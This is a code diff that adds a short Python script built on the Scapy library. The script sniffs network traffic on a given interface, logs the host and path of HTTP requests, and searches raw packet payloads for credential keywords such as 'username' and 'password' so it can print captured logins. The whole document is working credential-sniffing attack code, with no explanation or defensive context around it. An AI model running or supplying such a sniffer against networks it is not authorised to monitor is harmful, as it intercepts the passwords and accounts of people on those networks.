File tree Expand file tree Collapse file tree 1 file changed +35
-0
lines changed Expand file tree Collapse file tree 1 file changed +35
-0
lines changed Original file line number Diff line number Diff line change
1
+ import argparse
2
+ from scapy .all import sniff , Raw
3
+ from scapy .layers import http
4
+
5
+
6
+ def get_interface () -> str :
7
+ parser = argparse .ArgumentParser ()
8
+ parser .add_argument ("-i" , "--interface" , dest = "interface" ,
9
+ help = "Specify interface on which to sniff packets" )
10
+ args = parser .parse_args ()
11
+ if not args .interface :
12
+ parser .error ("Please specify an interface to sniff packets." )
13
+ return args .interface
14
+
15
+
16
+ def process_packet (packet ) -> None :
17
+ if packet .haslayer (http .HTTPRequest ):
18
+ print (
19
+ f"[+] Http Request >> { packet [http .HTTPRequest ].Host } { packet [http .HTTPRequest ].Path } " )
20
+ if packet .haslayer (Raw ):
21
+ load = packet [Raw ].load .decode (errors = "ignore" )
22
+ keys = ["username" , "password" , "pass" , "email" ]
23
+ for key in keys :
24
+ if key in load :
25
+ print (f"\n \n \n [+] Possible { key } >> { load } \n \n \n " )
26
+ break
27
+
28
+
29
+ def sniff_packets (interface : str ) -> None :
30
+ sniff (iface = interface , store = False , prn = process_packet )
31
+
32
+
33
+ if __name__ == '__main__' :
34
+ iface = get_interface ()
35
+ sniff_packets (iface )
You can’t perform that action at this time.
0 commit comments